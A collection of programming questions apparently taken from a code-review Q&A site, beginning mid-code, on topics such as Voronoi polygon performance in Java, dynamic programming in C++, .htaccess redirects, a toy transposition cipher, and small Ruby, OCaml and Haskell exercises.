                polygonsList.get(n).addPoint((int)mGraphEdge.x1, (int)mGraphEdge.y1);
                polygonsList.get(n).addPoint((int)mGraphEdge.x2, (int)mGraphEdge.y2);
            }
        }
    }

Where xValues and yValues are the points coordinates from which I generate the Voronoi diagram and GPolygon is a Polygon class I created which extends from java.awt.Polygon.

These are the times I measured:

Voronoi Time: 283 ms (time to generate Voronoi diagram)
Polygon Search Time: 34589 ms (time to complete the for loop which generates the polygons)
Polygon Fill Time: 390 ms (time to fill the polygons and save to image, which is optional)
Points quantity: 26527 (number of points from which Voronoi is generated)
Map Generation Finished
Polygon quantity: 26527 (number of polygons, one for each point)

As you can see, the time is really significant compared to the others. How can I speed up the for loop? What other alternatives do I have?


texts: Toggling element class according checked radio input V2.0

texts:
This question is about an improvement of the code from this previous question  (previous changed visibility, new applies a CSS class with a border).

It is a constructor function that attaches a click event to radio inputs using event delegation in order to add, remove CSS classes and enable the text input which contains a data-value equals to the radio value.

Short example

<input type="radio" name="color" value="yellow" checked />Yellow
<input type="text" class="radio-condition visible" data-value="yellow" />

One important fact is that it must work for old browsers such as IE7-8.  I know I'm using methods from EcmaScript 6 (is ES6 right?) such as classList which won't work. But I found this link from hacks.Mozilla.org where it shares a code for older browsers. So I guess I can use those ES6 methods safely, right?

jsFiddle here!

<form>

<input type="radio" name="color" value="yellow" checked />Yellow
<input type="radio" name="color" value="brown" />Brown
<input type="radio" name="color" value="orange" />Orange
<input type="radio" name="color" value="purple" />Purple

<input type="text" class="radio-condition visible" placeholder="Which yellow?" data-value="yellow" />
<input type="text" class="radio-condition" placeholder="Which brown?" data-value="brown" disabled />
<input type="text" class="radio-condition" placeholder="Which Orange?" data-value="orange" disabled />
<input type="text" class="radio-condition" placeholder="Which Purple?" data-value="purple" disabled />

</form>


texts: SPOJ - Alphacode, using dynamic programming

texts:
I am currently trying out a programming problem, SPOJ Alphacode, that involves dynamic programming.  In an encoding system where A=1, B=2, …, Z=26, a message 25114 is ambiguous, and could be decoded in 6 ways (BEAN, BEAAD, YAAD, YAN, YKD, or BEKD).  The challenge is to count the number of ways each given input number can be decoded.

Since, this is my second DP problem I am trying out, my code doesn't seem to be optimised, resulting in a time limit exceed error.

Although I have noticed that I have used a lot of for loops, I am not sure how to get rid of them.

Can someone please help me optimise this code?  And also, can someone tell me tips on how to optimise codes so that in the future, I can fix Time Limit Exceeded errors by myself?

#include <iostream>
#include <vector>
#include <string>

using namespace std;

vector<string> input;

int addProc(string a, string b)
{
  int n = stoi(a) * 10 + stoi(b);

  if(n > 26)
  {
    return 0;
  }
  else
  {
    return n;
  }
}

int dp(int i)
{
  vector<vector<string> > comb(1);
  comb[0].push_back(string(1, input[i].at(0)));

  for(int j = 1; j < input[i].length(); j++)
  {
    int l = comb.size();
    for(int k = 0; k < l; k++)
    {
      if(comb[k][comb[k].size() - 1] != "0")
      {
        if(input[i].at(j) == '0')
        {
          int n = addProc(comb[k][comb[k].size() - 1], "0");
          comb[k].push_back(to_string(n));
        }
        else
        {
          comb[k].push_back(string(1, input[i].at(j)));
          int n = addProc(comb[k][comb[k].size() - 2], string(1, input[i].at(j)));
          vector<string> temp(comb[k].begin(), comb[k].end() - 1);
          temp[temp.size() - 1] = to_string(n);
          comb.push_back(temp);
        }
      }
    }
  }

  int count = 0;
  for(int j = 0; j < comb.size(); j++)
  {
    if(comb[j][comb[j].size() - 1] != "0")
    {
      count++;
    }
  }

  return count;
}

int main()
{
  ios_base::sync_with_stdio(false);

  string a = "";
  while(true)
  {
    cin >> a;
    if(a != "0")
    {
      input.push_back(a);
    }
    else
    {
      break;
    }
  }

  for(int i = 0; i < input.size(); i++)
  {
    cout << dp(i) << "\n";
  }

  return 0;
}


texts:
I would like to know if this code in .htaccess for forcing SSL and WWW in URL is correct, because with another code I usually get redirect loop, e.g. RewriteCond %{HTTPS} !=on and now it works like a charm (suspiciously). Also, is it possible to write it better/simpler?

# Force to SSL
RewriteCond %{HTTP:HTTPS} !1
RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]

# Force to WWW
RewriteCond %{HTTP_HOST} !^www\.(.*)$ [NC]
RewriteRule ^(.*)$ https://www.%{HTTP_HOST}/$1 [R=301,L]


texts: Should I create two seperate Services and then combine them or have one large?

texts:
Basically, I have two separate tables, Campaign and CampaignDetails. They relate via CampaignID. I want a service that can handle both at the same time, as they're closely related and when one gets updated- so will the other.

At the moment I'm combining the two but it's starting to get a bit hard to look at

public interface ICampaignService
{
    //INSERT
    void InsertCampaign(Campaign campaign);
    void InsertCampaignDetails(CampaignDetails campaign);

    //UPDATE
    void UpdateCampaign(Campaign campaign);
    void UpdateCampaignDetails(CampaignDetails campaign);

    //DELETE
    void DeleteCampaign(Campaign campaign);
    void DeleteCampaign(object id);
    void DeleteCampaignDetails(CampaignDetails campaign);
    void DeleteCampaignDetails(object id);

    //ALL
    IList<Campaign> AllCampaigns();

    //FIND
    Campaign FindCampaignBy(Expression<Func<Campaign, bool>> expression);
    CampaignDetails FindCampaignDetailsBy(Expression<Func<CampaignDetails, bool>> expression);

    //FILTER
    IList<Campaign> FilterCampaignBy(Expression<Func<Campaign, bool>> expression);
    IList<CampaignDetails> FilterCampaignDetailsBy(Expression<Func<CampaignDetails, bool>> expression);

    //GET
    Campaign GetCampaignByID(object id);
    CampaignDetails GetCampaignDetailsByID(object id);

    Campaign GetLatestCampaign();
    Campaign GetMostRecentSentCampaign();

    //SAVE
    void Save();
}

This is just my interface, so the implementation is obviously a lot more.. And it seems a lot of similar code.

I came across this article http://bobcravens.com/2010/09/the-repository-pattern-part-2/ and I quite like the DataService that wraps all the individual services. But is it bad practise to say have one variable DataService mainService = new DataService(repo1, repo2, repo3, repo4) that can the access every service?

So I should I split it into CampaignService and CampaignDetailsService or keep it as one?

EDIT

Example of update method

    public void UpdateCampaign(Campaign campaignToUpdate)
    {
        _campaignRepository.Update(campaignToUpdate);
    }

    public void UpdateCampaignDetails(CampaignDetails campaignToUpdate)
    {
        _campaignDetailsRepository.Update(campaignToUpdate);
    }

Doing the same thing basically but with different entities.

Example of using method above:

    [HttpPost]
    public ActionResult Create(Campaign campaign)
    {
        if (ModelState.IsValid)
        {
            try
            {
                _campaignService.InsertCampaign(campaign);
                var campaignDetails = new CampaignDetails()
                {
                    CampaignId = campaign.CampaignId
                };

                _campaignService.InsertCampaignDetails(campaignDetails);
                _campaignService.Save();

                return RedirectToAction("Index");
            }
            catch (Exception ex)
            {
                ModelState.AddModelError(string.Empty, "Something went wrong. Message: " + ex.Message);
            }
        }

        return View(campaign);
    }


texts: Outputting years with no repeated digits

texts:
I'm working through a course now, and was tasked with the following:

Write a function, no_repeats(year_start, year_end), which takes a range of years and outputs those years which do not have any repeated digits.
You should probably write a helper function, no_repeat?(year) which returns true/false if a single year doesn't have a repeat.

I did not know about each_char yet, so I wrote the following:
def no_repeats(year_start, year_end)
  (year_start..year_end).to_a.keep_if {|year| no_repeat?(year)}
end

def no_repeat?(year)
  year_array = year.to_s.split(//)
  year_array == year_array.uniq
end

I'm wondering if:

there is an easier way to make an array from a string with no spaces
there is a way to convert each character in a number to an item in a single array without converting the number to a string first
there is a better way to do this problem

This is the model solution for a beginner:

def no_repeats(year_start, year_end)
  no_repeats = []
  (year_start..year_end).each do |yr|
    no_repeats << yr if no_repeat?(yr)
  end

  no_repeats
end

def no_repeat?(year)
  chars_seen = []
  year.to_s.each_char do |char|
    return false if chars_seen.include?(char)
    chars_seen << char
  end

  return true
end

I'm also wondering about the advantages and disadvantages of my code compared to the model solution. I kind of get that shorter code is better, and readability matters. I don't know how to test code for time yet.


texts:
I am looking for the elements that are zeroes in a square matrix (of size n), as a list of pair. I don't really like the following code, some condition seems rendundant but my knowledge of OCaml is limited and I can't find an elegant way to refactor it:

let find_zeroes input_matrix n =
    let rec aux i j n =
        if(i == n) then []
        else begin
            if(input_matrix.(i).(j) == 0) then begin
                if(j < n-1) then (i,j)::(aux i (j+1) n)
                else (i,j)::(aux (i+1) 0 n)
            end else begin
                if(j < n-1) then (aux i (j+1) n)
                else (aux (i+1) 0 n)
            end
        end
    in aux 0 0 n
;;

Actually, the n arugment is optional:

let find_zeroes input_matrix =
    let rec aux i j n =
        if(i == n) then []
        else begin
            if(input_matrix.(i).(j) == 0) then begin
                if(j < n-1) then (i,j)::(aux i (j+1) n)
                else (i,j)::(aux (i+1) 0 n)
            end else begin
                if(j < n-1) then (aux i (j+1) n)
                else (aux (i+1) 0 n)
            end
        end
    in aux 0 0 (Array.length input_matrix)
;;


texts: Various types of menus, implemented with the decorator pattern

texts:
I have been thinking about implementing a menu and thought that the decorator pattern could suit my case:

I need a single menu object (core object)
I need to be able to customize the menu as following:

A multi column menu
A multi valued menu
A Scrollable menu

And have the possibility to have multiple options on the same menu (i.e.: a multi column, multi valued, scrollable menu). Which in my opinion is a great case to use the decorator pattern as the above decorates the menu.

But here comes my doubt about using the decorator pattern: adding the customizable options above change the menu which I don't know if it can be counted as decorating it.

I came up with a code that can represent the class hierarchy I have in mind with only one question : is it the proper case to use the decorator pattern ?

#ifndef HEADER_H
#define HEADER_H

//#include "curses"
#include <string>
#include <vector>

class IMenu
{
public:
    virtual ~IMenu() = default;

    virtual int create(int x, int y) = 0;
    virtual int listen(int ch) = 0;
};

class AbstractMenu : public IMenu
{
public:
    AbstractMenu() = default;
    explicit AbstractMenu(std::string const& title, std::vector<std::string> const& options)
        : title_{ title }, options_{ options } {}

    int setColor(int color);
    int draw();

protected:
    //WINDOW* view_;
    std::string              title_;
    std::vector<std::string> options_;
};

class Menu : public AbstractMenu
{
public:
    explicit Menu(std::string const& title, std::vector<std::string> const& options)
        : AbstractMenu{ title, options } {}

    virtual int create(int x, int y) override;
    virtual int listen(int ch) override;
};

class MenuDecorator : public AbstractMenu
{
public:
    explicit MenuDecorator(AbstractMenu* interface)
        : interface_{ interface } {}

protected:
    AbstractMenu* interface_;
};

class MultiColumnDecorator : public MenuDecorator
{
public:
    explicit MultiColumnDecorator(AbstractMenu* interface, int items_per_col, int columns)
        : MenuDecorator{ interface }, items_per_col_{ items_per_col }, columns_{ columns } {}

    virtual int create(int x, int y) override;
    virtual int listen(int ch) override;

private:
    int items_per_col_;
    int columns_;
};

class MultiValuedDecorator : public MenuDecorator
{
public:
    explicit MultiValuedDecorator(AbstractMenu* interface)
        : MenuDecorator{ interface } {}

    virtual int create(int x, int y) override;
    virtual int listen(int ch) override;
};

class ScrollDecorator : public MenuDecorator
{
public:
    explicit ScrollDecorator(AbstractMenu* interface, int items_per_page)
        : MenuDecorator{ interface }, items_per_page_{ items_per_page } {}

    virtual int create(int x, int y) override;
    virtual int listen(int ch) override;

private:
    int items_per_page_;
};

#endif

Use case (without dynamic allocation):

int main()
{
    Menu options{
                "options",
        {"opt a", "opt b", "opt c",
         "opt d", "opt e", "opt f",
         "opt g", "opt h", "opt i"}
    };

    MultiColumnDecorator multi_col_decorator{ &options, 3, 3 };
    MultiValuedDecorator multi_val_decorator{ &multi_col_decorator };
    ScrollDecorator scroll_decorator{ &multi_val_decorator, 3 };

    scroll_decorator.create(0, 0);
    scroll_decorator.setColor(1); //lets say the curses library initiated a color pair and we pass an index to it
    scroll_decorator.draw();

    //use listen to read user input and process it.

    return 0;
}


texts: How can I make my decrypt method more efficient?

texts:
I am making a simple transposition cipher.  I am testing the program with the word "computer" with the secret key "5,2,8,3,7,1,4,6", where the encrypt method will put the 5th letter 'u' in the first position, 2nd letter 'o' in 2nd position, 8th letter 'r' in 3rd position...

So the output would be:
original: computer
encrypted:uormecpt
decrypted:computer

Right now my decrypt method is of O(n^2). How can I make this faster?

Where char[] y would be uormecpt.  The z[j] - 1 is the offset as my iterator starts from 0, but my key starts at 1.

public static char[] decrypt(char[] y, int[] z)
{
    char[] decrypted = new char[y.length];

    for (int i = 0; i < y.length; i++)
    {
        for (int j = 0; j < y.length; j++)
        {
            if (i == z[j]-1)
                decrypted[i] = y[j];
        }
    }

    return decrypted;
}


texts: Brute-force-like solution to Project Euler Problem 5

texts:
Project Euler problem #5 is the following:

  2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.

  What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?

First, a disclaimer: yes, I know that there are much more optimal ways of solving this. This is a very dumb "brute-force" way to solve this that uses very little mathematical intelligence. If I did the analysis correctly (and please correct me if not), this solution is $$O(n^2)$$
With that said, I'm curious if anyone had any feedback on this (and again, I am familiar with the mathematically optimal way to do this). In particular, it seems like there should be a way to eliminate the while loop.

public class SmallestMultiple
{
    public long GetSmallestMultiple(int maxNumber)
    {
        long num = 1;

        for (int i = maxNumber; i >= 1; i--)
        {
            long modulo = num % i;
            if (modulo > 0)
            {
                num *= i;
            }
        }

        long prev = num;

        while (true)
        {
            // If dividing by this number wouldn't cause any "harm" (i.e. it's still actually a multiple of everything),
            // go ahead and do it
            for (int i = 2; i <= maxNumber; i++)
            {
                num /= i;

                for (int j = 2; j <= maxNumber; j++)
                {
                    if (num % j > 0)
                    {
                        num *= i;
                        break;
                    }
                }
            }

            if (prev == num)
            {
                break;
            }
            else
            {
                prev = num;
            }
        }

        return num;
    }
}

And here's my unit test (written in Visual Studio):

[TestClass]
public class SmallestMultipleTests
{
    [TestMethod]
    public void SmallestMultipleTest()
    {
        SmallestMultiple multiple = new SmallestMultiple();

        long result = multiple.GetSmallestMultiple(10);

        Assert.AreEqual(2520, result);

        result = multiple.GetSmallestMultiple(20);

        Assert.AreEqual(232792560, result);
    }
}


texts: Splitting a list into overlapping sub-lists

texts:
I'm very new to Haskell. I did try it for a few days, a few years ago... but other than that, this is my second day. I'm equally unused to functional programming, by the way.

After much trial and error, I managed to write this function:

chunk :: Int -> [a] -> [[a]]
chunk n xs = chunk' n [] xs
    where
    chunk' _ results [] = results
    chunk' n results xs
        | length xs >= n = chunk' n (results ++ [take n xs]) $ tail xs
        | otherwise = chunk' n results []

This creates a list of all possible length n sub-lists, like so:

*Main> chunk 3 [1..7]
[[1,2,3],[2,3,4],[3,4,5],[4,5,6],[5,6,7]]
*Main> chunk 5 [1..7]
[[1,2,3,4,5],[2,3,4,5,6],[3,4,5,6,7]]

How can this be improved (in readability, performance, brevity etc.)?